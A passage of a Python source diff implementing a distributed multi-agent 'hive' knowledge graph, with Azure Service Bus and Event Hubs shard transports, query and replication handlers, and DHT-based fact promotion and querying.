self._agent_id: + return + fact_dict = payload.get("fact", {}) + if not fact_dict.get("content"): + return + + shard = self._local_graph._router.get_shard(self._agent_id) + if shard is None: + return + gen = self._local_graph._router._embedding_generator + if gen is not None and shard._embedding_generator is None: + shard.set_embedding_generator(gen) + + replica = ShardFact( + fact_id=fact_dict.get("fact_id", ""), + content=fact_dict.get("content", ""), + concept=fact_dict.get("concept", ""), + confidence=fact_dict.get("confidence", 0.8), + source_agent=fact_dict.get("source_agent", event.source_agent), + tags=fact_dict.get("tags", []), + ) + stored = shard.store(replica) + logger.debug( + "Agent %s stored replicated fact from %s (stored=%s, content=%.40s)", + self._agent_id, + event.source_agent, + stored, + replica.content, + ) + + # -- Listener-side handlers (called by background thread) ---------------- + + def handle_shard_query(self, event: Any, agent: Any = None) -> None: + """Respond to an incoming SHARD_QUERY with a SHARD_RESPONSE. + + Searches ONLY this agent's own local shard — never fans out via query_facts. + Calling query_facts here would cause recursive SHARD_QUERY loops since + query_facts itself publishes SHARD_QUERY events to all other agents. + + If ``agent`` is provided and has a ``memory.search()`` method, searches + via the full CognitiveAdapter path (n-gram overlap, reranking, semantic + matching) instead of the primitive ShardStore.search(). This makes + cross-shard retrieval quality equal to local retrieval. + + target_agent filter: ignores queries not addressed to this agent. + Without this filter all agents respond to every SHARD_QUERY, causing + wrong-agent responses to arrive first on Azure Service Bus and the + correct agent's facts to be dropped after pending[correlation_id] is + removed (root cause of the 49% vs 90% eval gap). + """ + if self._local_graph is None: + return + payload = getattr(event, "payload", None) or {} + query = payload.get("query", "") + limit = payload.get("limit", 20) + correlation_id = payload.get("correlation_id", "") + target_agent = payload.get("target_agent", "") + # Only respond if this query targets us (or has no target — broadcast) + if target_agent and target_agent != self._agent_id: + return + if not query or not correlation_id: + return + + # Prefer CognitiveAdapter search (full quality) over raw ShardStore + facts_payload = _search_for_shard_response( + query=query, + limit=limit, + agent=agent, + local_graph=self._local_graph, + agent_id=self._agent_id, + ) + try: + from .event_bus import make_event + + response = make_event( + event_type="SHARD_RESPONSE", + source_agent=self._agent_id, + payload={ + "correlation_id": correlation_id, + "facts": facts_payload, + }, + ) + self._bus.publish(response) + logger.debug( + "Agent %s responded to SHARD_QUERY correlation=%s with %d facts", + self._agent_id, + correlation_id, + len(facts_payload), + ) + except Exception: + logger.debug("Failed to publish SHARD_RESPONSE", exc_info=True) + + def handle_shard_response(self, event: Any) -> None: + """Collect a SHARD_RESPONSE and wake the waiting query_shard() call. + + Called from the background shard-query listener thread. Signals the + threading.Event so the blocked query_shard() returns without sleep. + """ + payload = getattr(event, "payload", None) or {} + correlation_id = payload.get("correlation_id", "") + if not correlation_id: + return + with self._pending_lock: + pending = self._pending.get(correlation_id) + if pending: + done_event, results = pending + results.extend(payload.get("facts", [])) + done_event.set() + logger.debug( + "Agent %s received SHARD_RESPONSE correlation=%s (%d facts)", + self._agent_id, + correlation_id, + len(payload.get("facts", [])), + ) + + +# --------------------------------------------------------------------------- +# Shared helper: search for SHARD_RESPONSE facts (used by both transports) +# --------------------------------------------------------------------------- + + +def _search_for_shard_response( + query: str, + limit: int, + agent: Any, + local_graph: Any, + agent_id: str, +) -> list[dict]: + """Return a list of fact dicts for inclusion in a SHARD_RESPONSE. + + Uses agent.memory.search_local() (CognitiveAdapter LOCAL-ONLY path) to + avoid recursive SHARD_QUERY storms. Falls back to direct ShardStore.search() + if the agent is None or raises an exception. + + CRITICAL: Must NEVER call agent.memory.search() here — that triggers + _search_hive() → query_facts() → SHARD_QUERY to all agents → each agent + calls _search_for_shard_response() again → infinite recursion. + + CognitiveAdapter.search_local() returns dicts with ``outcome``/``context``/ + ``confidence`` keys (not objects). ShardFact objects use ``content``/ + ``concept`` attributes. Both are handled here so the SHARD_RESPONSE + always carries the actual fact text. + """ + # CognitiveAdapter LOCAL-ONLY path: n-gram + reranking, NO hive search + if agent is not None and hasattr(agent, "memory") and hasattr(agent.memory, "search_local"): + try: + mem_results = agent.memory.search_local(query, limit=limit) + facts = [] + for f in mem_results: + if isinstance(f, dict): + # CognitiveAdapter returns dicts: outcome/context/confidence keys + content = f.get("outcome") or f.get("content", "") + if not content: + continue + facts.append( + { + "fact_id": f.get("experience_id", ""), + "content": content, + "concept": f.get("context") or f.get("concept", ""), + "confidence": float(f.get("confidence", 0.8)), + "source_agent": agent_id, + "tags": list(f.get("tags", [])), + } + ) + else: + # ShardFact or similar object with .content attribute + content = getattr(f, "content", "") + if not content: + continue + facts.append( + { + "fact_id": getattr(f, "fact_id", ""), + "content": content, + "concept": getattr(f, "concept", ""), + "confidence": float(getattr(f, "confidence", 0.8)), + "source_agent": getattr(f, "source_agent", agent_id), + "tags": list(getattr(f, "tags", [])), + } + ) + return facts + except Exception: + logger.debug( + "CognitiveAdapter search failed for %s, falling back to shard", + agent_id, + exc_info=True, + ) + + # Fallback: raw ShardStore search (primitive keyword tokenisation) + shard = local_graph._router.get_shard(agent_id) + if not shard: + return [] + shard_facts = shard.search(query, limit=limit) + hive_facts = [local_graph._shard_to_hive_fact(sf) for sf in shard_facts] + return [ + { + "fact_id": f.fact_id, + "content": f.content, + "concept": f.concept, + "confidence": f.confidence, + "source_agent": f.source_agent, + "tags": list(getattr(f, "tags", [])), + } + for f in hive_facts + ] + + +# --------------------------------------------------------------------------- +# EventHubsShardTransport — Azure Event Hubs (partition-key routing) +# --------------------------------------------------------------------------- + + +class EventHubsShardTransport: + """Shard transport routing cross-shard operations via Azure Event Hubs. + + Uses partition-key routing for delivery: + - SHARD_QUERY published with ``partition_key=target_agent`` so all queries + for a given agent consistently land on the same partition. + - SHARD_RESPONSE published with ``partition_key=requesting_agent`` so + responses route back to the querying agent's partition. + + Each agent has a dedicated consumer group (``cg-{agent_id}``) that reads + from all partitions and filters by ``target_agent`` in the event body. + A background receive thread fills an internal mailbox; ``poll()`` drains + it for the ``_shard_query_listener``. + + Correlation via ``correlation_id + threading.Event`` — same pattern as + ``ServiceBusShardTransport``. + + ``handle_shard_query`` uses ``agent.memory.search_local()`` (CognitiveAdapter + LOCAL-ONLY search) when an agent instance is provided, falling back to raw + ShardStore search. Must NEVER use ``agent.memory.search()`` — that triggers + recursive SHARD_QUERY storms via ``_search_hive()`` → ``query_facts()``. + + Args: + connection_string: Event Hubs namespace connection string. + eventhub_name: Name of the Event Hub (e.g. ``hive-shards``). + agent_id: This agent's own ID — determines which events to handle. + consumer_group: Consumer group name (default: ``cg-{agent_id}``). + timeout: Seconds to wait for SHARD_RESPONSE (default 5.0). + _start_receiving: Set False to skip the background receive thread + (useful for unit tests that drive the mailbox directly). + """ + + def __init__( + self, + connection_string: str, + eventhub_name: str, + agent_id: str, + consumer_group: str | None = None, + timeout: float = 5.0, + _start_receiving: bool = True, + ) -> None: + self._agent_id = agent_id + self._timeout = timeout + self._connection_string = connection_string + self._eventhub_name = eventhub_name + self._consumer_group = consumer_group or f"cg-{agent_id}" + self._local_graph: Any = None + self._local_agent: Any = None # Bound via bind_agent() for LOCAL queries + + # Partition routing: each agent reads from a deterministic partition + # (agent_index % num_partitions) to avoid consumer-group load-balancer + # competition when multiple agents share a consumer group. + self._num_partitions: int | None = None + + # Pending cross-shard queries: correlation_id → (done_event, facts_list) + self._pending: dict[str, tuple[threading.Event, list]] = {} + self._pending_lock = threading.Lock() + + # Persistent producer — lazy-initialized, reused across all _publish() + # calls to avoid ~1.5s AMQP connection setup per publish. + self._producer: Any = None + self._producer_lock = threading.Lock() + + # Mailbox: events targeted at this agent (filled by _receive_loop) + self._mailbox: list[Any] = [] + self._mailbox_lock = threading.Lock() + self._mailbox_ready = threading.Event() + + # Background receive thread + self._shutdown = threading.Event() + self._recv_thread = threading.Thread( + target=self._receive_loop, + daemon=True, + name=f"eh-recv-{agent_id}", + ) + if _start_receiving: + self._recv_thread.start() + + def bind_local(self, graph: Any) -> None: + """Bind the DistributedHiveGraph that owns this transport's local shard.""" + self._local_graph = graph + + def bind_agent(self, agent: Any) -> None: + """Bind the GoalSeekingAgent for high-quality LOCAL shard queries. + + When set, LOCAL shard queries in query_shard() use + _search_for_shard_response() (CognitiveAdapter n-gram + reranking) + instead of primitive ShardStore.search(). + """ + self._local_agent = agent + + # -- Partition routing --------------------------------------------------- + + @staticmethod + def _agent_index(agent_id: str) -> int: + """Extract numeric index from 'agent-N' format.""" + try: + return int(agent_id.rsplit("-", 1)[-1]) + except (ValueError, IndexError): + return abs(hash(agent_id)) + + def _get_num_partitions(self) -> int: + """Get partition count (cached). Falls back to 32 if query fails.""" + if self._num_partitions is not None: + return self._num_partitions + try: + from azure.eventhub import EventHubConsumerClient # type: ignore + + c = EventHubConsumerClient.from_connection_string( + self._connection_string, + consumer_group=self._consumer_group, + eventhub_name=self._eventhub_name, + ) + pids = c.get_partition_ids() + c.close() + self._num_partitions = len(pids) + except Exception: + self._num_partitions = 32 + return self._num_partitions + + def _target_partition(self, agent_id: str) -> str: + """Deterministic partition for an agent: agent_index % num_partitions.""" + return str(self._agent_index(agent_id) % self._get_num_partitions()) + + # -- Background receive loop --------------------------------------------- + + def _receive_loop(self) -> None: + """Receive Event Hubs events into the mailbox (runs in background thread). + + SHARD_RESPONSE events are handled INLINE (not via mailbox) to eliminate + the latency of waiting for _shard_query_listener to poll. This wakes + the blocked query_shard() call immediately when the response arrives. + """ + import json + + try: + from azure.eventhub import EventHubConsumerClient # type: ignore[import-unresolved] + except ImportError: + logger.error( + "azure-eventhub not installed — EventHubsShardTransport cannot receive events" + ) + return + + def _on_event(partition_context: Any, event: Any) -> None: + if event is None or self._shutdown.is_set(): + return + try: + data = json.loads(event.body_as_str()) + event_type = data.get("event_type", "") + payload = data.get("payload", {}) + target = payload.get("target_agent", "") + correlation_id = payload.get("correlation_id", "") + + # SHARD_RESPONSE: handle inline — wake query_shard() immediately + # instead of going through mailbox → poll → handle_shard_response. + if event_type == "SHARD_RESPONSE": + with self._pending_lock: + pending = self._pending.get(correlation_id) + if pending: + done_event, results = pending + results.extend(payload.get("facts", [])) + done_event.set() + logger.info( + "Agent %s received SHARD_RESPONSE correlation=%s (%d facts) [inline]", + self._agent_id, + correlation_id, + len(payload.get("facts", [])), + ) + partition_context.update_checkpoint(event) + return + + # Other events: filter by target, route to mailbox + if target and target != self._agent_id: + partition_context.update_checkpoint(event) + return + + from .event_bus import BusEvent + + bus_evt = BusEvent( + event_id=data.get("event_id", uuid.uuid4().hex), + event_type=event_type, + source_agent=data.get("source_agent", ""), + timestamp=data.get("timestamp", 0.0), + payload=payload, + ) + with self._mailbox_lock: + self._mailbox.append(bus_evt) + self._mailbox_ready.set() + partition_context.update_checkpoint(event) + except Exception: + logger.debug("EH receive error for %s", self._agent_id, exc_info=True) + + consumer = EventHubConsumerClient.from_connection_string( + self._connection_string, + consumer_group=self._consumer_group, + eventhub_name=self._eventhub_name, + ) + try: + # Use explicit partition_id to avoid consumer-group load-balancer + # competition. When multiple agents share a consumer group, the + # load balancer distributes partitions, so each agent only sees + # events on its assigned partitions. By specifying partition_id, + # each agent reads exactly its own partition deterministically. + my_partition = self._target_partition(self._agent_id) + logger.info( + "Agent %s receiving from partition %s (cg=%s)", + self._agent_id, + my_partition, + self._consumer_group, + ) + consumer.receive( + on_event=_on_event, + partition_id=my_partition, + starting_position="@latest", + ) + except Exception: + if not self._shutdown.is_set(): + logger.warning("EH consumer exited for %s", self._agent_id, exc_info=True) + finally: + try: + consumer.close() + except Exception: + pass + + # -- Poll interface (used by _shard_query_listener) ---------------------- + + def poll(self, agent_id: str) -> list[Any]: + """Drain pending events from the mailbox (blocks up to 5 s for new events). + + Compatible with ``EventBus.poll()`` so ``_shard_query_listener`` can use + the same polling loop regardless of transport type. + """ + self._mailbox_ready.wait(timeout=5.0) + self._mailbox_ready.clear() + with self._mailbox_lock: + items = list(self._mailbox) + self._mailbox.clear() + return items + + # -- Internal publish helper --------------------------------------------- + + def _publish(self, payload: dict[str, Any], partition_key: str | None = None) -> None: + """Publish a JSON event to the Event Hub using a persistent producer. + + Reuses a single EventHubProducerClient across all publish calls to + avoid ~1.5s AMQP connection setup per publish. Thread-safe via lock. + + When ``partition_key`` is an agent name (e.g. "agent-5"), the event is + routed to that agent's deterministic partition_id instead of relying on + Event Hubs' partition_key hash (which is opaque and unpredictable). + """ + import json + + try: + from azure.eventhub import ( # type: ignore[import-untyped] + EventData, + EventHubProducerClient, + ) + except ImportError: + logger.error("azure-eventhub not installed — cannot publish to Event Hubs") + return + + event_type = payload.get("event_type", "?") + target = (payload.get("payload") or {}).get("target_agent", "") + + # Convert agent-name partition_key to explicit partition_id + route_partition_id: str | None = None + if partition_key and partition_key.startswith("agent-"): + route_partition_id = self._target_partition(partition_key) + + with self._producer_lock: + try: + if self._producer is None: + self._producer = EventHubProducerClient.from_connection_string( + self._connection_string, eventhub_name=self._eventhub_name + ) + kwargs: dict[str, Any] = {} + if route_partition_id is not None: + kwargs["partition_id"] = route_partition_id + elif partition_key: + kwargs["partition_key"] = partition_key + batch = self._producer.create_batch(**kwargs) + batch.add(EventData(json.dumps(payload))) + self._producer.send_batch(batch) + except Exception: + logger.warning( + "Agent %s failed to publish %s, resetting producer", + self._agent_id, + event_type, + exc_info=True, + ) + try: + if self._producer is not None: + self._producer.close() + except Exception: + pass + self._producer = None + return + logger.info( + "Agent %s published %s → %s (hub=%s, partition=%s)", + self._agent_id, + event_type, + target or partition_key or "broadcast", + self._eventhub_name, + route_partition_id or "key:" + (partition_key or "none"), + ) + + # -- ShardTransport protocol --------------------------------------------- + + def query_shard(self, agent_id: str, query: str, limit: int) -> list[ShardFact]: + """Query a shard — local bypass for own shard, EH round-trip for remote.""" + if agent_id == self._agent_id and self._local_graph is not None: + # Use CognitiveAdapter search (n-gram + reranking) for LOCAL shard + # when available — same quality as REMOTE shards get via + # handle_shard_query() → _search_for_shard_response(). + if self._local_agent is not None: + fact_dicts = _search_for_shard_response( + query=query, + limit=limit, + agent=self._local_agent, + local_graph=self._local_graph, + agent_id=agent_id, + ) + logger.info( + "Agent %s queried LOCAL shard (CognitiveAdapter) → %d facts", + self._agent_id, + len(fact_dicts), + ) + # Convert dicts back to ShardFact for uniform return type + return [ + ShardFact( + fact_id=d.get("fact_id", ""), + content=d.get("content", ""), + concept=d.get("concept", ""), + confidence=d.get("confidence", 0.8), + source_agent=d.get("source_agent", agent_id), + tags=d.get("tags", []), + ) + for d in fact_dicts + ] + # Fallback: raw ShardStore search (no agent bound) + shard = self._local_graph._router.get_shard(agent_id) + if shard is None: + return [] + local_results = shard.search(query, limit=limit) + logger.info( + "Agent %s queried LOCAL shard (raw) → %d facts", + self._agent_id, + len(local_results), + ) + return local_results + + # Remote query: publish SHARD_QUERY and wait for SHARD_RESPONSE + correlation_id = uuid.uuid4().hex + done = threading.Event() + results: list[dict] = [] + with self._pending_lock: + self._pending[correlation_id] = (done, results) + + try: + import time + + logger.info( + "Agent %s sending SHARD_QUERY → %s (query=%.60s, correlation=%s)", + self._agent_id, + agent_id, + query, + correlation_id[:12], + ) + self._publish( + { + "event_id": uuid.uuid4().hex, + "event_type": "SHARD_QUERY", + "source_agent": self._agent_id, + "timestamp": time.time(), + "payload": { + "query": query, + "limit": limit, + "correlation_id": correlation_id, + "target_agent": agent_id, + }, + }, + partition_key=agent_id, + ) + got_response = done.wait(timeout=self._timeout) + if got_response: + logger.info( + "Agent %s got SHARD_RESPONSE from %s (%d facts, correlation=%s)", + self._agent_id, + agent_id, + len(results), + correlation_id[:12], + ) + else: + logger.warning( + "Agent %s SHARD_QUERY to %s TIMED OUT after %.1fs (correlation=%s)", + self._agent_id, + agent_id, + self._timeout, + correlation_id[:12], + ) + finally: + with self._pending_lock: + self._pending.pop(correlation_id, None) + + return [ + ShardFact( + fact_id=f.get("fact_id", ""), + content=f.get("content", ""), + concept=f.get("concept", ""), + confidence=f.get("confidence", 0.8), + source_agent=f.get("source_agent", ""), + tags=f.get("tags", []), + ) + for f in results + if f.get("content") + ] + + def store_on_shard(self, agent_id: str, fact: ShardFact) -> None: + """Store a fact — local bypass for own shard, SHARD_STORE via EH for remote.""" + if agent_id == self._agent_id and self._local_graph is not None: + shard = self._local_graph._router.get_shard(agent_id) + if shard is None: + return + gen = self._local_graph._router._embedding_generator + if gen is not None and shard._embedding_generator is None: + shard.set_embedding_generator(gen) + shard.store(fact) + return + + import time + + self._publish( + { + "event_id": uuid.uuid4().hex, + "event_type": "SHARD_STORE", + "source_agent": self._agent_id, + "timestamp": time.time(), + "payload": { + "target_agent": agent_id, + "fact": { + "fact_id": fact.fact_id, + "content": fact.content, + "concept": fact.concept, + "confidence": fact.confidence, + "source_agent": fact.source_agent, + "tags": list(fact.tags), + }, + }, + }, + partition_key=agent_id, + ) + + # -- Listener-side handlers (called by background thread via poll()) ----- + + def handle_shard_query(self, event: Any, agent: Any = None) -> None: + """Respond to SHARD_QUERY using CognitiveAdapter or local shard search. + + If ``agent`` is provided and has a ``memory.search()`` method, searches + via the full CognitiveAdapter path instead of raw ShardStore.search(). + Publishes SHARD_RESPONSE with ``partition_key=requesting_agent`` so the + response routes directly to the querying agent's partition. + """ + if self._local_graph is None: + return + payload = getattr(event, "payload", None) or {} + query = payload.get("query", "") + limit = payload.get("limit", 20) + correlation_id = payload.get("correlation_id", "") + target_agent = payload.get("target_agent", "") + if target_agent and target_agent != self._agent_id: + return + if not query or not correlation_id: + return + + source_agent = getattr(event, "source_agent", "") + logger.info( + "Agent %s handling SHARD_QUERY from %s (query=%.60s, correlation=%s)", + self._agent_id, + source_agent, + query, + correlation_id[:12], + ) + + facts_payload = _search_for_shard_response( + query=query, + limit=limit, + agent=agent, + local_graph=self._local_graph, + agent_id=self._agent_id, + ) + import time + + self._publish( + { + "event_id": uuid.uuid4().hex, + "event_type": "SHARD_RESPONSE", + "source_agent": self._agent_id, + "timestamp": time.time(), + "payload": { + "correlation_id": correlation_id, + "facts": facts_payload, + }, + }, + partition_key=source_agent, + ) + logger.info( + "Agent %s responded to SHARD_QUERY correlation=%s with %d facts → %s", + self._agent_id, + correlation_id[:12], + len(facts_payload), + source_agent, + ) + + def handle_shard_response(self, event: Any) -> None: + """Wake the pending query_shard() call when SHARD_RESPONSE arrives. + + NOTE: With the inline _on_event optimization, most SHARD_RESPONSEs are + handled directly in _receive_loop and never reach this method. This is + kept as a fallback for non-EH transports that still route via mailbox. + """ + payload = getattr(event, "payload", None) or {} + correlation_id = payload.get("correlation_id", "") + if not correlation_id: + return + with self._pending_lock: + pending = self._pending.get(correlation_id) + if pending: + done_event, results = pending + results.extend(payload.get("facts", [])) + done_event.set() + logger.info( + "Agent %s received SHARD_RESPONSE correlation=%s (%d facts) [mailbox]", + self._agent_id, + correlation_id[:12], + len(payload.get("facts", [])), + ) + + def handle_shard_store(self, event: Any) -> None: + """Store a replicated fact from SHARD_STORE in the local shard.""" + if self._local_graph is None: + return + payload = getattr(event, "payload", None) or {} + target_agent = payload.get("target_agent", "") + if target_agent and target_agent != self._agent_id: + return + fact_dict = payload.get("fact", {}) + if not fact_dict.get("content"): + return + + shard = self._local_graph._router.get_shard(self._agent_id) + if shard is None: + return + gen = self._local_graph._router._embedding_generator + if gen is not None and shard._embedding_generator is None: + shard.set_embedding_generator(gen) + + replica = ShardFact( + fact_id=fact_dict.get("fact_id", ""), + content=fact_dict.get("content", ""), + concept=fact_dict.get("concept", ""), + confidence=fact_dict.get("confidence", 0.8), + source_agent=fact_dict.get("source_agent", getattr(event, "source_agent", "")), + tags=fact_dict.get("tags", []), + ) + stored = shard.store(replica) + logger.debug( + "Agent %s (EH) stored replicated fact from %s (stored=%s, content=%.40s)", + self._agent_id, + getattr(event, "source_agent", "?"), + stored, + replica.content, + ) + + def close(self) -> None: + """Shut down the background receive thread and persistent producer.""" + self._shutdown.set() + self._mailbox_ready.set() # Unblock any waiting poll() call + with self._producer_lock: + if self._producer is not None: + try: + self._producer.close() + except Exception: + pass + self._producer = None + + +# --------------------------------------------------------------------------- +# DistributedHiveGraph +# --------------------------------------------------------------------------- + + +class DistributedHiveGraph: + """DHT-sharded hive graph for large-scale multi-agent knowledge sharing. + + Implements the same interface as InMemoryHiveGraph but distributes + facts across agent shards via consistent hashing. No single agent + holds all facts. Queries fan out to K relevant agents, not all N. + + Shard routing is delegated to an injected ShardTransport, making the + graph transport-agnostic. Agent code is identical whether routing is + in-process (LocalShardTransport) or over Azure Service Bus + (ServiceBusShardTransport). + + Args: + hive_id: Unique identifier for this hive + replication_factor: Number of copies per fact (default 3) + query_fanout: Max agents to query per request (default 5) + embedding_generator: Optional embedding model for semantic routing + enable_gossip: Enable bloom filter gossip for convergence + broadcast_threshold: Confidence threshold for auto-broadcast (default 0.9) + transport: ShardTransport instance. If None, creates LocalShardTransport + wrapping a new DHTRouter (backward-compatible default). + """ + + def __init__( + self, + hive_id: str = "", + replication_factor: int = DEFAULT_REPLICATION_FACTOR, + query_fanout: int = 5, + embedding_generator: Any = None, + enable_gossip: bool = True, + enable_ttl: bool = False, + broadcast_threshold: float = DEFAULT_BROADCAST_THRESHOLD, + transport: ShardTransport | None = None, + ): + self._hive_id = hive_id or uuid.uuid4().hex[:12] + self._lock = threading.Lock() + + # DHT router handles ring topology and query routing decisions + self._router = DHTRouter( + replication_factor=replication_factor, + query_fanout=query_fanout, + ) + if embedding_generator: + self._router.set_embedding_generator(embedding_generator) + + # Agent registry (lightweight metadata, not full DBs) + self._agents: dict[str, HiveAgent] = {} + + # Edge storage (graph relationships) + self._edges: dict[str, list[HiveEdge]] = {} + + # Bloom filters for gossip + self._bloom_filters: dict[str, BloomFilter] = {} # agent_id → bloom + self._enable_gossip = enable_gossip + + # Federation (parent/child relationships) + self._parent: DistributedHiveGraph | None = None + self._children: list[DistributedHiveGraph] = [] + + self._broadcast_threshold = broadcast_threshold + self._embedding_generator = embedding_generator + + # Fact counter for stats + self._total_promotes = 0 + + # Shard transport — injected or defaulting to local in-process routing + self._transport: Any = ( + transport if transport is not None else LocalShardTransport(self._router) + ) + # Allow the transport to call back into this graph for local shard access + if hasattr(self._transport, "bind_local"): + self._transport.bind_local(self) + + # -- HiveGraph protocol: identity ----------------------------------------- + + @property + def hive_id(self) -> str: + return self._hive_id + + # -- HiveGraph protocol: agent registry ----------------------------------- + + def register_agent( + self, + agent_id: str, + domain: str = "", + trust: float = DEFAULT_TRUST_SCORE, + ) -> None: + """Register an agent in the hive and add to DHT ring.""" + with self._lock: + self._agents[agent_id] = HiveAgent(agent_id=agent_id, domain=domain, trust=trust) + self._bloom_filters[agent_id] = BloomFilter(expected_items=500) + self._router.add_agent(agent_id) + logger.debug("Registered agent %s in hive %s", agent_id, self._hive_id) + + def unregister_agent(self, agent_id: str) -> None: + """Remove agent from hive. Redistributes its shard facts.""" + orphaned = self._router.remove_agent(agent_id) + with self._lock: + self._agents.pop(agent_id, None) + self._bloom_filters.pop(agent_id, None) + + # Redistribute orphaned facts + for fact in orphaned: + self._router.store_fact(fact) + + def get_agent(self, agent_id: str) -> HiveAgent | None: + with self._lock: + return self._agents.get(agent_id) + + def list_agents(self) -> list[HiveAgent]: + with self._lock: + return list(self._agents.values()) + + def update_trust(self, agent_id: str, trust: float) -> None: + clamped = max(0.0, min(trust, MAX_TRUST_SCORE)) + with self._lock: + agent = self._agents.get(agent_id) + if agent: + agent.trust = clamped + + # -- HiveGraph protocol: fact management ---------------------------------- + + def promote_fact(self, agent_id: str, fact: HiveFact) -> str: + """Promote a fact into the distributed hive. + + In distributed mode each agent IS the shard owner for facts it learns. + Storage is always local to the promoting agent — the DHT ring is used + only for query routing (fan-out), not for storage routing. + + This avoids the lost-write problem where ServiceBusShardTransport would + publish a SHARD_STORE event to a remote agent that may not handle it. + """ + # Generate fact_id if not set + if not fact.fact_id: + fact.fact_id = uuid.uuid4().hex[:FACT_ID_HEX_LENGTH] + + fact.source_agent = fact.source_agent or agent_id + + # Convert to shard fact + shard_fact = ShardFact( + fact_id=fact.fact_id, + content=fact.content, + concept=fact.concept, + confidence=fact.confidence, + source_agent=fact.source_agent, + tags=list(fact.tags), + created_at=fact.created_at, + ) + + # Store locally in the promoting agent's own shard (pure DHT sharding: + # each agent owns O(F/N) facts; cross-shard queries via CognitiveAdapter + # provide retrieval quality equal to local search without full replication). + shard_fact.ring_position = 0 # Not used for routing here + self._transport.store_on_shard(agent_id, shard_fact) + + # Update bloom filter and counters for the local shard only + with self._lock: + if agent_id in self._bloom_filters: + self._bloom_filters[agent_id].add(fact.fact_id) + source = self._agents.get(agent_id) + if source: + source.fact_count += 1 + self._total_promotes += 1 + + # Federation: escalate high-confidence facts to parent + if ( + self._parent + and fact.confidence >= self._broadcast_threshold + and not any(t.startswith(BROADCAST_TAG_PREFIX) for t in fact.tags) + ): + self._escalate_to_parent(fact) + + return fact.fact_id + + def get_fact(self, fact_id: str) -> HiveFact | None: + """Retrieve a fact by ID. Searches all shards (O(N) worst case).""" + for agent_id in self._router.get_all_agents(): + shard = self._router.get_shard(agent_id) + if shard: + sf = shard.get(fact_id) + if sf: + return self._shard_to_hive_fact(sf) + return None + + def query_facts(self, query: str, limit: int = 20) -> list[HiveFact]: + """Query the distributed hive for matching facts. + + Determines target shards via DHT routing, then fans out to each shard + in parallel -- reduces total latency from N*timeout to max(timeout). + Each query_shard call is independent; results are merged and deduped. + """ + targets = self._router.select_query_targets(query) + + seen: set[str] = set() + results: list[ShardFact] = [] + + # Parallel fan-out: query all shards concurrently instead of sequentially. + # With ServiceBus transport this reduces N*SB_latency to max(SB_latency). + with concurrent.futures.ThreadPoolExecutor(max_workers=max(1, len(targets))) as pool: + futures = { + pool.submit(self._transport.query_shard, agent_id, query, limit): agent_id + for agent_id in targets + } + for future in concurrent.futures.as_completed(futures): + try: + for fact in future.result(): + # Deduplicate by content hash (mirrors DHTRouter.query) + h = hashlib.md5(fact.content.encode()).hexdigest() + if h not in seen: + seen.add(h) + results.append(fact) + except Exception: + logger.debug("Shard query failed for agent %s", futures[future], exc_info=True) + + # Re-rank: terms with digits (IDs, versions) weighted 5x; bigram bonus + import itertools + + q_lower = query.lower() + q_words = [w.strip("?.,!;:'\"()[]") for w in q_lower.split() if w.strip("?.,!;:'\"()[]")] + q_bigrams = set(itertools.pairwise(q_words)) + _stop = { + "the", + "a", + "an", + "is", + "are", + "was", + "were", + "what", + "how", + "does", + "do", + "and", + "or", + "of", + "in", + "to", + "for", + "with", + "on", + "at", + "by", + "from", + "that", + "this", + "it", + } + search_terms = {w for w in q_words if w not in _stop and len(w) > 1} or set(q_words) + + def _relevance(f: ShardFact) -> float: + c_lower = f.content.lower() + c_words = c_lower.split() + hits = sum( + (5.0 if any(ch.isdigit() for ch in t) else 1.0) + for t in search_terms + if t in c_lower + ) + bigram_bonus = sum(0.3 for bg in q_bigrams if bg in set(itertools.pairwise(c_words))) + return hits + bigram_bonus + f.confidence * 0.01 + + results.sort(key=_relevance, reverse=True) + return [self._shard_to_hive_fact(sf) for sf in results[:limit]] + + def retract_fact(self, fact_id: str) -> bool: + """Retract a fact across all shards holding a replica. Returns True if found.""" + retracted = False + for agent_id in self._router.get_all_agents(): + shard = self._router.get_shard(agent_id) + if shard: + sf = shard.get(fact_id) + if sf: + sf.tags.append("retracted") + retracted = True + return retracted + + # -- HiveGraph protocol: graph edges -------------------------------------- + + def add_edge(self, edge: HiveEdge) -> None: + with self._lock: + self._edges.setdefault(edge.source_id, []).append(edge) + + def get_edges(self, node_id: str, edge_type: str | None = None) -> list[HiveEdge]: + with self._lock: + edges = self._edges.get(node_id, []) + if edge_type: + return [e for e in edges if e.edge_type == edge_type] + return list(edges) + + # -- HiveGraph protocol: contradiction detection -------------------------- + + def check_contradictions(self, content: str, concept: str = "") -> list[HiveFact]: + """Check for contradicting facts across shards.""" + if concept: + candidates = self.query_facts(concept, limit=50) + else: + candidates = self.query_facts(content, limit=50) + + content_words = set(content.lower().split()) + contradictions = [] + for fact in candidates: + if fact.content == content: + continue + fact_words = set(fact.content.lower().split()) + overlap = len(content_words & fact_words) / max(1, len(content_words | fact_words)) + if overlap > 0.4 and fact.content != content: + contradictions.append(fact) + + return contradictions + + # -- HiveGraph protocol: expertise routing -------------------------------- + + def route_query(self, query: str) -> list[str]: + """Find agent IDs with expertise relevant to query.""" + query_words = set(query.lower().split()) + scored: list[tuple[float, HiveAgent]] = [] + + with self._lock: + for agent in self._agents.values(): + if not agent.domain: + continue + domain_words = set(agent.domain.lower().split()) + overlap = len(query_words & domain_words) + if overlap > 0: + scored.append((overlap, agent)) + + scored.sort(key=lambda x: x[0], reverse=True) + return [a.agent_id for _, a in scored] + + # -- Federation ----------------------------------------------------------- + + def set_parent(self, parent: DistributedHiveGraph) -> None: + self._parent = parent + + def add_child(self, child: DistributedHiveGraph) -> None: + self._children.append(child) + + def escalate_fact(self, fact: HiveFact) -> bool: + """Escalate a fact to the parent hive. Returns True if parent exists.""" + if not self._parent: + return False + self._escalate_to_parent(fact) + return True + + def broadcast_fact(self, fact: HiveFact) -> int: + """Promote a fact to all child hives. Returns count of children promoted to.""" + count = 0 + for child in self._children: + relay_id = f"__relay_{self._hive_id}__" + if not child.get_agent(relay_id): + child.register_agent(relay_id, domain="relay") + promoted = HiveFact( + fact_id=uuid.uuid4().hex[:FACT_ID_HEX_LENGTH], + content=fact.content, + concept=fact.concept, + confidence=fact.confidence, + source_agent=relay_id, + tags=[*fact.tags, f"{BROADCAST_TAG_PREFIX}{self._hive_id}"], + created_at=fact.created_at, + ) + child.promote_fact(relay_id, promoted) + count += 1 + return count + + def _escalate_to_parent(self, fact: HiveFact) -> None: + """Escalate a high-confidence fact to the parent hive.""" + if not self._parent: + return + relay_id = f"__relay_{self._hive_id}__" + if not self._parent.get_agent(relay_id): + self._parent.register_agent(relay_id, domain="relay") + + escalated = HiveFact( + 